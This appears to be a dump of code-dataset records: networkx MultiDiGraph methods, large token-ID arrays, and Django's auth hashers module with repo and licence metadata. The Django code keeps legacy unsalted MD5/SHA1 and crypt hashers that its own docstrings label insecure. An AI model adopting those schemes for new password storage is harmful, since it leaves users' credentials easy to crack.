to_directed(self): """Return a directed copy of the graph. Returns ------- G : MultiDiGraph A deepcopy of the graph. Notes ----- If edges in both directions (u,v) and (v,u) exist in the graph, attributes for the new undirected edge will be a combination of the attributes of the directed edges. The edge data is updated in the (arbitrary) order that the edges are encountered. For more customized control of the edge attributes use add_edge(). This returns a "deepcopy" of the edge, node, and graph attributes which attempts to completely copy all of the data and references. This is in contrast to the similar G=DiGraph(D) which returns a shallow copy of the data. See the Python copy module for more information on shallow and deep copies, http://docs.python.org/library/copy.html. Examples -------- >>> G = nx.Graph() # or MultiGraph, etc >>> G.add_path([0,1]) >>> H = G.to_directed() >>> H.edges() [(0, 1), (1, 0)] If already directed, return a (deep) copy >>> G = nx.MultiDiGraph() >>> G.add_path([0,1]) >>> H = G.to_directed() >>> H.edges() [(0, 1)] """ return deepcopy(self) def to_undirected(self, reciprocal=False): """Return an undirected representation of the digraph. Parameters ---------- reciprocal : bool (optional) If True only keep edges that appear in both directions in the original digraph. Returns ------- G : MultiGraph An undirected graph with the same name and nodes and with edge (u,v,data) if either (u,v,data) or (v,u,data) is in the digraph. If both edges exist in digraph and their edge data is different, only one edge is created with an arbitrary choice of which edge data to use. You must check and correct for this manually if desired. Notes ----- This returns a "deepcopy" of the edge, node, and graph attributes which attempts to completely copy all of the data and references. This is in contrast to the similar D=DiGraph(G) which returns a shallow copy of the data. See the Python copy module for more information on shallow and deep copies, http://docs.python.org/library/copy.html. Warning: If you have subclassed MultiGraph to use dict-like objects in the data structure, those changes do not transfer to the MultiDiGraph created by this method. """ H = MultiGraph() H.name = self.name H.add_nodes_from(self) if reciprocal is True: H.add_edges_from((u, v, key, deepcopy(data)) for u, nbrs in self.adjacency_iter() for v, keydict in nbrs.items() for key, data in keydict.items() if self.has_edge(v, u, key)) else: H.add_edges_from((u, v, key, deepcopy(data)) for u, nbrs in self.adjacency_iter() for v, keydict in nbrs.items() for key, data in keydict.items()) H.graph = deepcopy(self.graph) H.node = deepcopy(self.node) return H def subgraph(self, nbunch): """Return the subgraph induced on nodes in nbunch. The induced subgraph of the graph contains the nodes in nbunch and the edges between those nodes. Parameters ---------- nbunch : list, iterable A container of nodes which will be iterated through once. Returns ------- G : Graph A subgraph of the graph with the same edge attributes. Notes ----- The graph, edge or node attributes just point to the original graph. So changes to the node or edge structure will not be reflected in the original graph while changes to the attributes will. To create a subgraph with its own copy of the edge/node attributes use: nx.Graph(G.subgraph(nbunch)) If edge attributes are containers, a deep copy can be obtained using: G.subgraph(nbunch).copy() For an inplace reduction of a graph to a subgraph you can remove nodes: G.remove_nodes_from([ n in G if n not in set(nbunch)]) Examples -------- >>> G = nx.Graph() # or DiGraph, MultiGraph, MultiDiGraph, etc >>> G.add_path([0,1,2,3]) >>> H = G.subgraph([0,1,2]) >>> H.edges() [(0, 1), (1, 2)] """ bunch = self.nbunch_iter(nbunch) # create new graph and copy subgraph into it H = self.__class__() # copy node and attribute dictionaries for n in bunch: H.node[n] = self.node[n] # namespace shortcuts for speed H_succ = H.succ H_pred = H.pred self_succ = self.succ self_pred = self.pred # add nodes for n in H: H_succ[n] = H.adjlist_dict_factory() H_pred[n] = H.adjlist_dict_factory() # add edges for u in H_succ: Hnbrs = H_succ[u] for v, edgedict in self_succ[u].items(): if v in H_succ: # add both representations of edge: u-v and v-u # they share the same edgedict ed = edgedict.copy() Hnbrs[v] = ed H_pred[v][u] = ed H.graph = self.graph return H def reverse(self, copy=True): """Return the reverse of the graph. The reverse is a graph with the same nodes and edges but with the directions of the edges reversed. Parameters ---------- copy : bool optional (default=True) If True, return a new DiGraph holding the reversed edges. If False, reverse the reverse graph is created using the original graph (this changes the original graph). """ if copy: H = self.__class__(name="Reverse of (%s)"%self.name) H.add_nodes_from(self) H.add_edges_from((v, u, k, deepcopy(d)) for u, v, k, d in self.edges(keys=True, data=True)) H.graph = deepcopy(self.graph) H.node = deepcopy(self.node) else: self.pred, self.succ = self.succ, self.pred self.adj = self.succ H = self return H
gpl-3.0
[ 624, 1563, 1021, 367, 6879, 23208, 1041, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 7806, 701, 199, 3, 259, 437, 1567, 869, 643, 14630, 665, 72, 643, 14630, 32, 1502, 76, 14, 16294, 30, 199, 3, 259, 24747, 22985, 427, 665, 795, 335, 427, 32, 761, 3237, 14, 8654, 30, 199, 3, 259, 510, 1873, 351, 16666, 580, 665, 3519, 580, 32, 1502, 76, 14, 16294, 30, 199, 3, 259, 2900, 4481, 4644, 14, 199, 3, 259, 6289, 4190, 14, 199, 504, 1331, 492, 14800, 199, 646, 24313, 465, 8484, 199, 504, 24313, 14, 2888, 14, 2180, 492, 11513, 221, 327, 367, 26721, 199, 504, 24313, 14, 2888, 14, 328, 2180, 492, 3757, 4578, 199, 504, 24313, 14, 2888, 14, 3029, 2180, 492, 6879, 4578, 199, 504, 24313, 14, 1971, 492, 7220, 29356, 199, 363, 2502, 363, 275, 9638, 78, 23045, 904, 2941, 33, 1567, 869, 643, 14630, 334, 72, 643, 14630, 32, 1502, 76, 14, 16294, 3196, 1169, 283, 48, 1873, 351, 16666, 580, 334, 3519, 580, 32, 1502, 76, 14, 16294, 3196, 1169, 283, 29336, 22985, 427, 8, 795, 335, 427, 32, 761, 3237, 14, 8654, 9, 1105, 421, 199, 533, 6879, 23208, 8, 3947, 4578, 12, 23208, 304, 272, 408, 33, 23667, 3343, 1021, 626, 883, 3877, 3510, 6929, 14, 339, 6879, 6929, 787, 3663, 8207, 3382, 2877, 3380, 14, 221, 7048, 6275, 272, 883, 10266, 2716, 666, 503, 3004, 14, 339, 437, 6879, 23208, 15164, 23667, 8207, 14, 221, 23820, 17222, 787, 4370, 14, 339, 23836, 883, 506, 9697, 334, 24596, 9, 2018, 2251, 543, 2716, 272, 790, 15, 585, 3004, 14, 339, 17379, 3389, 787, 11159, 465, 6220, 3382, 3380, 543, 2716, 272, 790, 15, 585, 3004, 14, 339, 3897, 272, 4143, 272, 666, 520, 1324, 3343, 267, 3918, 370, 8265, 3343, 14, 221, 982, 666, 29, 403, 334, 885, 9, 376, 2701, 267, 3343, 365, 2737, 14, 221, 710, 666, 883, 506, 376, 6275, 769, 12, 503, 1263, 267, 7220, 56, 3343, 909, 14, 221, 982, 314, 5226, 2716, 2018, 267, 6117, 787, 4903, 314, 666, 883, 2597, 506, 282, 20602, 3634, 267, 503, 499, 68, 6800, 12, 282, 16578, 2713, 5178, 3634, 12, 503, 282, 1611, 4578, 17249, 3343, 14, 339, 1921, 520, 4252, 2368, 12, 2716, 334, 885, 29, 949, 3004, 9, 267, 9382, 370, 1050, 370, 3343, 465, 790, 29, 585, 6342, 14, 339, 1666, 6121, 272, 3001, 272, 11513, 272, 3757, 4578, 272, 6879, 4578, 339, 6058, 272, 3001, 272, 2790, 376, 2701, 3343, 5523, 334, 65, 298, 2307, 3343, 531, 543, 949, 3380, 436, 272, 949, 8207, 14, 339, 1306, 598, 275, 8484, 14, 3947, 23208, 342, 339, 598, 883, 506, 486, 18406, 315, 9978, 15217, 14, 339, 1011, 6300, 19003, 339, 2654, 1373, 1031, 737, 282, 900, 26, 339, 1306, 598, 14, 525, 63, 932, 8, 17, 9, 339, 2654, 314, 3380, 687, 1263, 3970, 334, 65, 769, 12, 1211, 12, 663, 503, 272, 2755, 314, 2385, 687, 282, 570, 503, 314, 3380, 687, 4573, 3343, 680, 339, 1306, 598, 14, 525, 63, 2415, 63, 504, 779, 18, 12, 19, 566, 272, 1306, 598, 14, 525, 63, 2415, 63, 504, 8, 1842, 8, 1960, 12, 6019, 430, 272, 1306, 869, 29, 7343, 14, 4578, 342, 272, 1306, 869, 14, 525, 63, 515, 779, 16, 12, 17, 12, 18, 12, 19, 12, 20, 12, 21, 12, 22, 12, 23, 12, 24, 12, 25, 566, 272, 1306, 598, 14, 525, 63, 2415, 63, 504, 8, 40, 9, 339, 1010, 10234, 370, 3326, 436, 9446, 1263, 21197, 2018, 909, 272, 334, 2590, 488, 9, 883, 2954, 282, 1031, 12, 325, 14, 71, 14, 282, 26707, 1031, 909, 12, 272, 503, 2755, 4573, 11513, 14, 339, 1306, 598, 14, 525, 63, 932, 8, 40, 9, 339, 1011, 24121, 19003, 339, 598, 883, 2597, 506, 486, 18406, 701, 7791, 8207, 14, 339, 2654, 1373, 6275, 12, 339, 1306, 598, 14, 525, 63, 5173, 8, 17, 12, 499, 9, 339, 282, 769, 402, 8207, 12, 339, 1306, 598, 14, 525, 63, 6929, 63, 504, 7694, 17, 12, 18, 11865, 17, 12, 19, 3948, 339, 503, 282, 3245, 402, 8207, 12, 339, 1306, 598, 14, 525, 63, 6929, 63, 504, 8, 40, 14, 6929, 1012, 339, 982, 2005, 8207, 4907, 3380, 440, 5966, 315, 314, 3343, 12, 314, 3380, 272, 787, 3483, 5847, 14, 221, 982, 376, 6275, 2575, 3495, 12, 376, 4722, 272, 6275, 365, 2737, 436, 5489, 1808, 282, 790, 370, 10405, 314, 6275, 14, 272, 4885, 849, 314, 790, 365, 314, 18966, 9563, 3000, 14, 339, 1306, 598, 14, 525, 63, 6929, 63, 504, 7694, 20, 12, 21, 12, 807, 8, 4449, 29, 16450, 1826, 334, 20, 12, 21, 12, 807, 8, 4449, 29, 1401, 18229, 272, 1306, 598, 59, 20, 61, 272, 469, 21, 26, 469, 16, 26, 5479, 413, 26, 791, 4449, 356, 499, 2564, 1386, 499, 26, 791, 4449, 356, 6877, 4863, 93, 339, 1011, 5379, 19003, 339, 7048, 3343, 12, 1031, 12, 436, 6275, 883, 10266, 790, 15, 585, 2225, 6342, 272, 315, 376, 4568, 2225, 2600, 334, 1589, 2883, 1471, 506, 21197, 680, 272, 4885, 849, 3520, 787, 2701, 12, 1325, 883, 506, 3483, 503, 2896, 1808, 272, 1050, 63, 5173, 12, 1050, 63, 932, 503, 4125, 26212, 402, 314, 2225, 272, 11196, 4310, 3343, 12, 1031, 436, 6275, 17342, 14, 339, 1306, 598, 275, 8484, 14, 3947, 23208, 8, 2977, 628, 22533, 2977, 531, 272, 1306, 598, 14, 2180, 272, 791, 2977, 356, 283, 22533, 2977, 936, 339, 2654, 1031, 3004, 1808, 1050, 63, 932, 1062, 1050, 63, 2415, 63, 504, 342, 503, 598, 14, 932, 339, 1306, 598, 14, 525, 63, 932, 8, 17, 12, 900, 534, 21, 7073, 358, 272, 1306, 598, 14, 525, 63, 2415, 63, 504, 779, 19, 467, 900, 534, 18, 7073, 358, 272, 1306, 598, 14, 932, 59, 17, 61, 272, 791, 521, 356, 283, 21, 7073, 936, 272, 1306, 598, 14, 932, 59, 17, 2733, 11245, 418, 275, 1520, 1079, 272, 1306, 2150, 598, 14, 932, 59, 17, 2733, 11245, 418, 327, 2813, 2225, 272, 1306, 598, 14, 2415, 8, 576, 29, 549, 9, 272, 3842, 17, 12, 791, 521, 356 ]
[ 1563, 1021, 367, 6879, 23208, 1041, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 7806, 701, 199, 3, 259, 437, 1567, 869, 643, 14630, 665, 72, 643, 14630, 32, 1502, 76, 14, 16294, 30, 199, 3, 259, 24747, 22985, 427, 665, 795, 335, 427, 32, 761, 3237, 14, 8654, 30, 199, 3, 259, 510, 1873, 351, 16666, 580, 665, 3519, 580, 32, 1502, 76, 14, 16294, 30, 199, 3, 259, 2900, 4481, 4644, 14, 199, 3, 259, 6289, 4190, 14, 199, 504, 1331, 492, 14800, 199, 646, 24313, 465, 8484, 199, 504, 24313, 14, 2888, 14, 2180, 492, 11513, 221, 327, 367, 26721, 199, 504, 24313, 14, 2888, 14, 328, 2180, 492, 3757, 4578, 199, 504, 24313, 14, 2888, 14, 3029, 2180, 492, 6879, 4578, 199, 504, 24313, 14, 1971, 492, 7220, 29356, 199, 363, 2502, 363, 275, 9638, 78, 23045, 904, 2941, 33, 1567, 869, 643, 14630, 334, 72, 643, 14630, 32, 1502, 76, 14, 16294, 3196, 1169, 283, 48, 1873, 351, 16666, 580, 334, 3519, 580, 32, 1502, 76, 14, 16294, 3196, 1169, 283, 29336, 22985, 427, 8, 795, 335, 427, 32, 761, 3237, 14, 8654, 9, 1105, 421, 199, 533, 6879, 23208, 8, 3947, 4578, 12, 23208, 304, 272, 408, 33, 23667, 3343, 1021, 626, 883, 3877, 3510, 6929, 14, 339, 6879, 6929, 787, 3663, 8207, 3382, 2877, 3380, 14, 221, 7048, 6275, 272, 883, 10266, 2716, 666, 503, 3004, 14, 339, 437, 6879, 23208, 15164, 23667, 8207, 14, 221, 23820, 17222, 787, 4370, 14, 339, 23836, 883, 506, 9697, 334, 24596, 9, 2018, 2251, 543, 2716, 272, 790, 15, 585, 3004, 14, 339, 17379, 3389, 787, 11159, 465, 6220, 3382, 3380, 543, 2716, 272, 790, 15, 585, 3004, 14, 339, 3897, 272, 4143, 272, 666, 520, 1324, 3343, 267, 3918, 370, 8265, 3343, 14, 221, 982, 666, 29, 403, 334, 885, 9, 376, 2701, 267, 3343, 365, 2737, 14, 221, 710, 666, 883, 506, 376, 6275, 769, 12, 503, 1263, 267, 7220, 56, 3343, 909, 14, 221, 982, 314, 5226, 2716, 2018, 267, 6117, 787, 4903, 314, 666, 883, 2597, 506, 282, 20602, 3634, 267, 503, 499, 68, 6800, 12, 282, 16578, 2713, 5178, 3634, 12, 503, 282, 1611, 4578, 17249, 3343, 14, 339, 1921, 520, 4252, 2368, 12, 2716, 334, 885, 29, 949, 3004, 9, 267, 9382, 370, 1050, 370, 3343, 465, 790, 29, 585, 6342, 14, 339, 1666, 6121, 272, 3001, 272, 11513, 272, 3757, 4578, 272, 6879, 4578, 339, 6058, 272, 3001, 272, 2790, 376, 2701, 3343, 5523, 334, 65, 298, 2307, 3343, 531, 543, 949, 3380, 436, 272, 949, 8207, 14, 339, 1306, 598, 275, 8484, 14, 3947, 23208, 342, 339, 598, 883, 506, 486, 18406, 315, 9978, 15217, 14, 339, 1011, 6300, 19003, 339, 2654, 1373, 1031, 737, 282, 900, 26, 339, 1306, 598, 14, 525, 63, 932, 8, 17, 9, 339, 2654, 314, 3380, 687, 1263, 3970, 334, 65, 769, 12, 1211, 12, 663, 503, 272, 2755, 314, 2385, 687, 282, 570, 503, 314, 3380, 687, 4573, 3343, 680, 339, 1306, 598, 14, 525, 63, 2415, 63, 504, 779, 18, 12, 19, 566, 272, 1306, 598, 14, 525, 63, 2415, 63, 504, 8, 1842, 8, 1960, 12, 6019, 430, 272, 1306, 869, 29, 7343, 14, 4578, 342, 272, 1306, 869, 14, 525, 63, 515, 779, 16, 12, 17, 12, 18, 12, 19, 12, 20, 12, 21, 12, 22, 12, 23, 12, 24, 12, 25, 566, 272, 1306, 598, 14, 525, 63, 2415, 63, 504, 8, 40, 9, 339, 1010, 10234, 370, 3326, 436, 9446, 1263, 21197, 2018, 909, 272, 334, 2590, 488, 9, 883, 2954, 282, 1031, 12, 325, 14, 71, 14, 282, 26707, 1031, 909, 12, 272, 503, 2755, 4573, 11513, 14, 339, 1306, 598, 14, 525, 63, 932, 8, 40, 9, 339, 1011, 24121, 19003, 339, 598, 883, 2597, 506, 486, 18406, 701, 7791, 8207, 14, 339, 2654, 1373, 6275, 12, 339, 1306, 598, 14, 525, 63, 5173, 8, 17, 12, 499, 9, 339, 282, 769, 402, 8207, 12, 339, 1306, 598, 14, 525, 63, 6929, 63, 504, 7694, 17, 12, 18, 11865, 17, 12, 19, 3948, 339, 503, 282, 3245, 402, 8207, 12, 339, 1306, 598, 14, 525, 63, 6929, 63, 504, 8, 40, 14, 6929, 1012, 339, 982, 2005, 8207, 4907, 3380, 440, 5966, 315, 314, 3343, 12, 314, 3380, 272, 787, 3483, 5847, 14, 221, 982, 376, 6275, 2575, 3495, 12, 376, 4722, 272, 6275, 365, 2737, 436, 5489, 1808, 282, 790, 370, 10405, 314, 6275, 14, 272, 4885, 849, 314, 790, 365, 314, 18966, 9563, 3000, 14, 339, 1306, 598, 14, 525, 63, 6929, 63, 504, 7694, 20, 12, 21, 12, 807, 8, 4449, 29, 16450, 1826, 334, 20, 12, 21, 12, 807, 8, 4449, 29, 1401, 18229, 272, 1306, 598, 59, 20, 61, 272, 469, 21, 26, 469, 16, 26, 5479, 413, 26, 791, 4449, 356, 499, 2564, 1386, 499, 26, 791, 4449, 356, 6877, 4863, 93, 339, 1011, 5379, 19003, 339, 7048, 3343, 12, 1031, 12, 436, 6275, 883, 10266, 790, 15, 585, 2225, 6342, 272, 315, 376, 4568, 2225, 2600, 334, 1589, 2883, 1471, 506, 21197, 680, 272, 4885, 849, 3520, 787, 2701, 12, 1325, 883, 506, 3483, 503, 2896, 1808, 272, 1050, 63, 5173, 12, 1050, 63, 932, 503, 4125, 26212, 402, 314, 2225, 272, 11196, 4310, 3343, 12, 1031, 436, 6275, 17342, 14, 339, 1306, 598, 275, 8484, 14, 3947, 23208, 8, 2977, 628, 22533, 2977, 531, 272, 1306, 598, 14, 2180, 272, 791, 2977, 356, 283, 22533, 2977, 936, 339, 2654, 1031, 3004, 1808, 1050, 63, 932, 1062, 1050, 63, 2415, 63, 504, 342, 503, 598, 14, 932, 339, 1306, 598, 14, 525, 63, 932, 8, 17, 12, 900, 534, 21, 7073, 358, 272, 1306, 598, 14, 525, 63, 2415, 63, 504, 779, 19, 467, 900, 534, 18, 7073, 358, 272, 1306, 598, 14, 932, 59, 17, 61, 272, 791, 521, 356, 283, 21, 7073, 936, 272, 1306, 598, 14, 932, 59, 17, 2733, 11245, 418, 275, 1520, 1079, 272, 1306, 2150, 598, 14, 932, 59, 17, 2733, 11245, 418, 327, 2813, 2225, 272, 1306, 598, 14, 2415, 8, 576, 29, 549, 9, 272, 3842, 17, 12, 791, 521, 356, 0 ]
[ 1, 1, 1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buiquocviet
django/contrib/auth/hashers.py
26
14277
import hashlib from django.conf import settings from django.utils import importlib from django.utils.datastructures import SortedDict from django.utils.encoding import smart_str from django.core.exceptions import ImproperlyConfigured from django.utils.crypto import ( pbkdf2, constant_time_compare, get_random_string) from django.utils.translation import ugettext_noop as _ UNUSABLE_PASSWORD = '!' # This will never be a valid encoded hash HASHERS = None # lazily loaded from PASSWORD_HASHERS PREFERRED_HASHER = None # defaults to first item in PASSWORD_HASHERS def is_password_usable(encoded): return (encoded is not None and encoded != UNUSABLE_PASSWORD) def check_password(password, encoded, setter=None, preferred='default'): """ Returns a boolean of whether the raw password matches the three part encoded digest. If setter is specified, it'll be called when you need to regenerate the password. """ if not password or not is_password_usable(encoded): return False preferred = get_hasher(preferred) raw_password = password password = smart_str(password) encoded = smart_str(encoded) # Ancient versions of Django created plain MD5 passwords and accepted # MD5 passwords with an empty salt. if ((len(encoded) == 32 and '$' not in encoded) or (len(encoded) == 37 and encoded.startswith('md5$$'))): hasher = get_hasher('unsalted_md5') # Ancient versions of Django accepted SHA1 passwords with an empty salt. elif len(encoded) == 46 and encoded.startswith('sha1$$'): hasher = get_hasher('unsalted_sha1') else: algorithm = encoded.split('$', 1)[0] hasher = get_hasher(algorithm) must_update = hasher.algorithm != preferred.algorithm is_correct = hasher.verify(password, encoded) if setter and is_correct and must_update: setter(raw_password) return is_correct def make_password(password, salt=None, hasher='default'): """ Turn a plain-text password into a hash for database storage Same as encode() but generates a new random salt. If password is None or blank then UNUSABLE_PASSWORD will be returned which disallows logins. """ if not password: return UNUSABLE_PASSWORD hasher = get_hasher(hasher) password = smart_str(password) if not salt: salt = hasher.salt() salt = smart_str(salt) return hasher.encode(password, salt) def load_hashers(password_hashers=None): global HASHERS global PREFERRED_HASHER hashers = [] if not password_hashers: password_hashers = settings.PASSWORD_HASHERS for backend in password_hashers: try: mod_path, cls_name = backend.rsplit('.', 1) mod = importlib.import_module(mod_path) hasher_cls = getattr(mod, cls_name) except (AttributeError, ImportError, ValueError): raise ImproperlyConfigured("hasher not found: %s" % backend) hasher = hasher_cls() if not getattr(hasher, 'algorithm'): raise ImproperlyConfigured("hasher doesn't specify an " "algorithm name: %s" % backend) hashers.append(hasher) HASHERS = dict([(hasher.algorithm, hasher) for hasher in hashers]) PREFERRED_HASHER = hashers[0] def get_hasher(algorithm='default'): """ Returns an instance of a loaded password hasher. If algorithm is 'default', the default hasher will be returned. This function will also lazy import hashers specified in your settings file if needed. """ if hasattr(algorithm, 'algorithm'): return algorithm elif algorithm == 'default': if PREFERRED_HASHER is None: load_hashers() return PREFERRED_HASHER else: if HASHERS is None: load_hashers() if algorithm not in HASHERS: raise ValueError("Unknown password hashing algorithm '%s'. " "Did you specify it in the PASSWORD_HASHERS " "setting?" % algorithm) return HASHERS[algorithm] def mask_hash(hash, show=6, char="*"): """ Returns the given hash, with only the first ``show`` number shown. The rest are masked with ``char`` for security reasons. """ masked = hash[:show] masked += char * len(hash[show:]) return masked class BasePasswordHasher(object): """ Abstract base class for password hashers When creating your own hasher, you need to override algorithm, verify(), encode() and safe_summary(). PasswordHasher objects are immutable. """ algorithm = None library = None def _load_library(self): if self.library is not None: if isinstance(self.library, (tuple, list)): name, mod_path = self.library else: name = mod_path = self.library try: module = importlib.import_module(mod_path) except ImportError: raise ValueError("Couldn't load %s password algorithm " "library" % name) return module raise ValueError("Hasher '%s' doesn't specify a library attribute" % self.__class__) def salt(self): """ Generates a cryptographically secure nonce salt in ascii """ return get_random_string() def verify(self, password, encoded): """ Checks if the given password is correct """ raise NotImplementedError() def encode(self, password, salt): """ Creates an encoded database value The result is normally formatted as "algorithm$salt$hash" and must be fewer than 128 characters. """ raise NotImplementedError() def safe_summary(self, encoded): """ Returns a summary of safe values The result is a dictionary and will be used where the password field must be displayed to construct a safe representation of the password. """ raise NotImplementedError() class PBKDF2PasswordHasher(BasePasswordHasher): """ Secure password hashing using the PBKDF2 algorithm (recommended) Configured to use PBKDF2 + HMAC + SHA256 with 10000 iterations. The result is a 64 byte binary string. Iterations may be changed safely but you must rename the algorithm if you change SHA256. """ algorithm = "pbkdf2_sha256" iterations = 10000 digest = hashlib.sha256 def encode(self, password, salt, iterations=None): assert password assert salt and '$' not in salt if not iterations: iterations = self.iterations hash = pbkdf2(password, salt, iterations, digest=self.digest) hash = hash.encode('base64').strip() return "%s$%d$%s$%s" % (self.algorithm, iterations, salt, hash) def verify(self, password, encoded): algorithm, iterations, salt, hash = encoded.split('$', 3) assert algorithm == self.algorithm encoded_2 = self.encode(password, salt, int(iterations)) return constant_time_compare(encoded, encoded_2) def safe_summary(self, encoded): algorithm, iterations, salt, hash = encoded.split('$', 3) assert algorithm == self.algorithm return SortedDict([ (_('algorithm'), algorithm), (_('iterations'), iterations), (_('salt'), mask_hash(salt)), (_('hash'), mask_hash(hash)), ]) class PBKDF2SHA1PasswordHasher(PBKDF2PasswordHasher): """ Alternate PBKDF2 hasher which uses SHA1, the default PRF recommended by PKCS #5. This is compatible with other implementations of PBKDF2, such as openssl's PKCS5_PBKDF2_HMAC_SHA1(). """ algorithm = "pbkdf2_sha1" digest = hashlib.sha1 class BCryptPasswordHasher(BasePasswordHasher): """ Secure password hashing using the bcrypt algorithm (recommended) This is considered by many to be the most secure algorithm but you must first install the py-bcrypt library. Please be warned that this library depends on native C code and might cause portability issues. """ algorithm = "bcrypt" library = ("py-bcrypt", "bcrypt") rounds = 12 def salt(self): bcrypt = self._load_library() return bcrypt.gensalt(self.rounds) def encode(self, password, salt): bcrypt = self._load_library() data = bcrypt.hashpw(password, salt) return "%s$%s" % (self.algorithm, data) def verify(self, password, encoded): algorithm, data = encoded.split('$', 1) assert algorithm == self.algorithm bcrypt = self._load_library() return constant_time_compare(data, bcrypt.hashpw(password, data)) def safe_summary(self, encoded): algorithm, empty, algostr, work_factor, data = encoded.split('$', 4) assert algorithm == self.algorithm salt, checksum = data[:22], data[22:] return SortedDict([ (_('algorithm'), algorithm), (_('work factor'), work_factor), (_('salt'), mask_hash(salt)), (_('checksum'), mask_hash(checksum)), ]) class SHA1PasswordHasher(BasePasswordHasher): """ The SHA1 password hashing algorithm (not recommended) """ algorithm = "sha1" def encode(self, password, salt): assert password assert salt and '$' not in salt hash = hashlib.sha1(salt + password).hexdigest() return "%s$%s$%s" % (self.algorithm, salt, hash) def verify(self, password, encoded): algorithm, salt, hash = encoded.split('$', 2) assert algorithm == self.algorithm encoded_2 = self.encode(password, salt) return constant_time_compare(encoded, encoded_2) def safe_summary(self, encoded): algorithm, salt, hash = encoded.split('$', 2) assert algorithm == self.algorithm return SortedDict([ (_('algorithm'), algorithm), (_('salt'), mask_hash(salt, show=2)), (_('hash'), mask_hash(hash)), ]) class MD5PasswordHasher(BasePasswordHasher): """ The Salted MD5 password hashing algorithm (not recommended) """ algorithm = "md5" def encode(self, password, salt): assert password assert salt and '$' not in salt hash = hashlib.md5(salt + password).hexdigest() return "%s$%s$%s" % (self.algorithm, salt, hash) def verify(self, password, encoded): algorithm, salt, hash = encoded.split('$', 2) assert algorithm == self.algorithm encoded_2 = self.encode(password, salt) return constant_time_compare(encoded, encoded_2) def safe_summary(self, encoded): algorithm, salt, hash = encoded.split('$', 2) assert algorithm == self.algorithm return SortedDict([ (_('algorithm'), algorithm), (_('salt'), mask_hash(salt, show=2)), (_('hash'), mask_hash(hash)), ]) class UnsaltedSHA1PasswordHasher(BasePasswordHasher): """ Very insecure algorithm that you should *never* use; stores SHA1 hashes with an empty salt. This class is implemented because Django used to accept such password hashes. Some older Django installs still have these values lingering around so we need to handle and upgrade them properly. """ algorithm = "unsalted_sha1" def salt(self): return '' def encode(self, password, salt): assert salt == '' hash = hashlib.sha1(password).hexdigest() return 'sha1$$%s' % hash def verify(self, password, encoded): encoded_2 = self.encode(password, '') return constant_time_compare(encoded, encoded_2) def safe_summary(self, encoded): assert encoded.startswith('sha1$$') hash = encoded[6:] return SortedDict([ (_('algorithm'), self.algorithm), (_('hash'), mask_hash(hash)), ]) class UnsaltedMD5PasswordHasher(BasePasswordHasher): """ Incredibly insecure algorithm that you should *never* use; stores unsalted MD5 hashes without the algorithm prefix, also accepts MD5 hashes with an empty salt. This class is implemented because Django used to store passwords this way and to accept such password hashes. Some older Django installs still have these values lingering around so we need to handle and upgrade them properly. """ algorithm = "unsalted_md5" def salt(self): return '' def encode(self, password, salt): assert salt == '' return hashlib.md5(password).hexdigest() def verify(self, password, encoded): if len(encoded) == 37 and encoded.startswith('md5$$'): encoded = encoded[5:] encoded_2 = self.encode(password, '') return constant_time_compare(encoded, encoded_2) def safe_summary(self, encoded): return SortedDict([ (_('algorithm'), self.algorithm), (_('hash'), mask_hash(encoded, show=3)), ]) class CryptPasswordHasher(BasePasswordHasher): """ Password hashing using UNIX crypt (not recommended) The crypt module is not supported on all platforms. """ algorithm = "crypt" library = "crypt" def salt(self): return get_random_string(2) def encode(self, password, salt): crypt = self._load_library() assert len(salt) == 2 data = crypt.crypt(password, salt) # we don't need to store the salt, but Django used to do this return "%s$%s$%s" % (self.algorithm, '', data) def verify(self, password, encoded): crypt = self._load_library() algorithm, salt, data = encoded.split('$', 2) assert algorithm == self.algorithm return constant_time_compare(data, crypt.crypt(password, data)) def safe_summary(self, encoded): algorithm, salt, data = encoded.split('$', 2) assert algorithm == self.algorithm return SortedDict([ (_('algorithm'), algorithm), (_('salt'), salt), (_('hash'), mask_hash(data, show=3)), ])
bsd-3-clause
[ 646, 8337, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1208, 492, 14802, 199, 504, 1639, 14, 1208, 14, 23004, 492, 27432, 2141, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 495, 199, 504, 1639, 14, 1018, 14, 3924, 492, 11897, 199, 504, 1639, 14, 1208, 14, 10316, 492, 334, 272, 10446, 28996, 18, 12, 4413, 63, 521, 63, 5785, 12, 664, 63, 2355, 63, 875, 9, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 12921, 465, 485, 421, 199, 53, 1440, 51, 2617, 63, 9032, 275, 29376, 221, 327, 961, 911, 7078, 506, 282, 1686, 5737, 2631, 199, 13533, 31700, 275, 488, 221, 327, 29667, 3444, 6511, 687, 21705, 5172, 63, 13533, 31700, 199, 4225, 15849, 7387, 63, 13533, 3452, 275, 488, 221, 327, 4243, 370, 1642, 1242, 315, 21705, 5172, 63, 13533, 31700, 421, 199, 318, 365, 63, 2060, 63, 14418, 8, 8167, 304, 272, 372, 334, 8167, 365, 440, 488, 436, 5737, 1137, 738, 1440, 51, 2617, 63, 9032, 9, 421, 199, 318, 1104, 63, 2060, 8, 2060, 12, 5737, 12, 18743, 29, 403, 12, 14388, 534, 885, 735, 272, 408, 272, 1803, 282, 5046, 402, 3775, 314, 3066, 2505, 4450, 314, 7795, 272, 1777, 5737, 10017, 14, 339, 982, 18743, 365, 2013, 12, 652, 7171, 506, 2797, 1380, 1265, 1929, 370, 272, 30943, 314, 2505, 14, 272, 408, 272, 340, 440, 2505, 503, 440, 365, 63, 2060, 63, 14418, 8, 8167, 304, 267, 372, 756, 339, 14388, 275, 664, 63, 28885, 8, 17477, 9, 272, 3066, 63, 2060, 275, 2505, 272, 2505, 275, 11179, 63, 495, 8, 2060, 9, 272, 5737, 275, 11179, 63, 495, 8, 8167, 9, 339, 327, 1626, 559, 484, 5459, 402, 5634, 2737, 8971, 15830, 21, 19572, 436, 10226, 272, 327, 15830, 21, 19572, 543, 376, 2701, 10105, 14, 272, 340, 3666, 552, 8, 8167, 9, 508, 4337, 436, 25271, 440, 315, 5737, 9, 503, 288, 334, 552, 8, 8167, 9, 508, 6877, 436, 5737, 14, 2460, 360, 1064, 21, 23174, 1333, 304, 267, 19009, 275, 664, 63, 28885, 360, 324, 6327, 471, 63, 1064, 21, 358, 272, 327, 1626, 559, 484, 5459, 402, 5634, 10226, 12002, 17, 19572, 543, 376, 2701, 10105, 14, 272, 916, 822, 8, 8167, 9, 508, 12426, 436, 5737, 14, 2460, 360, 4835, 